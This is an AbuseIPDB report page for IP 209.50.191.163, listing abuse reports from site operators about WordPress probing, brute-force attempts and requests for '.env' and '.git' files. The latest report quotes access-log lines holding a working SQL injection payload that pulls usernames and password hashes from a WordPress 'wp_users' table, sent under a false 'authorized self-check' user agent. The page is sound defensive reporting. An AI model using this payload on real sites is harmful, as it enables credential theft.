JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 209.50.191.163

209.50.191.163 was found in our database!

This IP was reported 17 times. Confidence of Abuse is 33%: ?

33%

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇩🇪 Germany
City	Berlin, State of Berlin

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 209.50.191.163

Whois 209.50.191.163

IP Abuse Reports for 209.50.191.163:

This IP address has been reported a total of 17 times from 14 distinct sources. 209.50.191.163 was first reported on October 27th 2025, and the most recent report was 5 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 Victor López	2026-09-14 04:53:39 (5 days ago)	livingbalance.earth 209.50.191.163 - - [13/Sep/2026:23:53:20 -0500] "GET /?s=x%27%29+UNION+SELECT+1% ... show more livingbalance.earth 209.50.191.163 - - [13/Sep/2026:23:53:20 -0500] "GET /?s=x%27%29+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6%2C7%2CEXTRACTVALUE%281%2CCONCAT%280x7e%2C%28SELECT+GROUP_CONCAT%28CONCAT%28user_login%2C0x3a%2Cuser_pass%29+SEPARATOR+%27%7C%27%29+FROM+wp_users+LIMIT+5%29%29%29%2C9--+- HTTP/2.0" 200 20360 "-" "CMS-Security-Auditor/1.0 (+authorized self-check; contact: local-admin)" MISS livingbalance.earth 209.50.191.163 - - [13/Sep/2026:23:53:30 -0500] "GET /?s=x)%20UNION%20SELECT%201,2,3,4,5,6,7,EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20GROUP_CONCAT(CONCAT(user_login,0x3a,user_pass)%20SEPARATOR%20)%20FROM%20wp_users%20LIMIT%205))),9--%20- HTTP/2.0" 200 20341 "-" "CMS-Security-Auditor/1.0 (+authorized self-check; contact: local-admin)" MISS livingbalance.earth 209.50.191.163 - - [13/Sep/2026:23:53:38 -0500] "GET /?s=x%27%29+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6%2C7%2CEXTRACTVALUE%281%2CCONCAT%280x7e%2C%28SELECT+GROUP_CONCAT%28CONCAT%28user_login%2C0x3a%2Cuser_pass%29+SEPARATOR+%27%7C%27%29 ... show less	Hacking Web App Attack
🇨🇭 backslash	2026-09-13 00:03:01 (6 days ago)	block ruleset 51D5331ECDCF70C2C6410C0D0EEB5F69B17B5F56	Bad Web Bot
🇺🇸 lostswordfish.com	2026-09-11 21:16:03 (1 week ago)	Wordfence waf block on jestrellafoundation	Web App Attack
🇦🇺 HJ5Ss4Ju	2026-09-11 20:10:05 (1 week ago)	Blocked by Wordfence (SID 6)	Web App Attack
🇫🇷 ELYAZ	2026-08-23 13:28:00 (3 weeks ago)	(wordpress) Failed wordpress login from 209.50.191.163 (FR/France/-): (CF_ENABLE)	Brute-Force
🇲🇽 octageeks.com	2026-08-23 04:14:21 (3 weeks ago)	Wordpress malicious attack:[octaflood]	Web App Attack
🇺🇸 mnsf	2026-02-16 00:05:41 (7 months ago)	Too many Status 40X (11) Scanning/Probing (26)	Brute-Force Web App Attack
Anonymous	2026-02-15 13:05:29 (7 months ago)	WAF repeated trigger detected by Fail2Ban	Web App Attack
🇩🇪 filstal.org	2026-02-15 00:09:25 (7 months ago)	CrowdSec-Report: crowdsecurity/http-sensitive-files	Hacking Web App Attack
🇨🇭 Origon	2026-02-15 00:03:43 (7 months ago)	http-sensitive-files - IP: 209.50.191.163 - time="2026-02-15T01:03:43+01:00" level=info msg="(555f6 ... show more http-sensitive-files - IP: 209.50.191.163 - time="2026-02-15T01:03:43+01:00" level=info msg="(555f66b4f6a74558bc11e3f93469658es8App0Mcc0TKEeje/crowdsec) crowdsecurity/http-sensitive-files by ip 209.50.191.163 (FR/200373) : 4h ban on Ip 209.50.191.163" module=db show less	Web App Attack
🇺🇸 mnsf	2026-02-14 23:05:57 (7 months ago)	Scanning/Probing (23)	Brute-Force Web App Attack
🇺🇸 MirrorImageGaming	2026-02-14 21:26:13 (7 months ago)	GET /app/.git/config HTTP/1.1 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36	Web App Attack
🇪🇸 10dencehispahard SL	2025-12-29 09:27:14 (8 months ago)	Wordpress probing for vulnerabilities	Hacking Exploited Host
🇺🇸 TPI-Abuse	2025-11-25 04:57:44 (9 months ago)	(mod_security) mod_security (id:210492) triggered by 209.50.191.163 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210492) triggered by 209.50.191.163 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 23:57:37.702780 2025] [security2:error] [pid 21249:tid 21249] [client 209.50.191.163:57785] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "webdisk.omahareact.org"] [uri "/.env"] [unique_id "aSU3QZ4a8zT9y68VOaHkzQAAABg"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-25 02:23:34 (9 months ago)	(mod_security) mod_security (id:210492) triggered by 209.50.191.163 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210492) triggered by 209.50.191.163 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 21:23:31.353443 2025] [security2:error] [pid 30318:tid 30318] [client 209.50.191.163:30201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpcontacts.kittencream.com"] [uri "/.git/HEAD"] [unique_id "aSUTI6r05dCCn6ceFHSHtQAAAA0"] show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 17 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 162.216.150.152

🇺🇸 162.216.150.150

🇺🇸 162.216.150.15

🇨🇳 152.136.108.201

🇧🇷 131.161.249.165

🇨🇳 122.231.227.249

🇨🇳 117.50.178.180

🇫🇷 91.231.89.190

🇲🇰 77.28.186.184

🇷🇴 2.57.122.168

🇺🇸 207.90.244.26

🇨🇳 202.101.144.44

🇷🇺 185.141.77.155

🇨🇳 117.33.149.9

🇺🇸 54.243.8.241

🇺🇸 54.236.233.135

🇸🇬 47.79.198.142

🇺🇸 13.222.119.104

🇩🇪 213.209.159.17

🇺🇸 162.216.150.135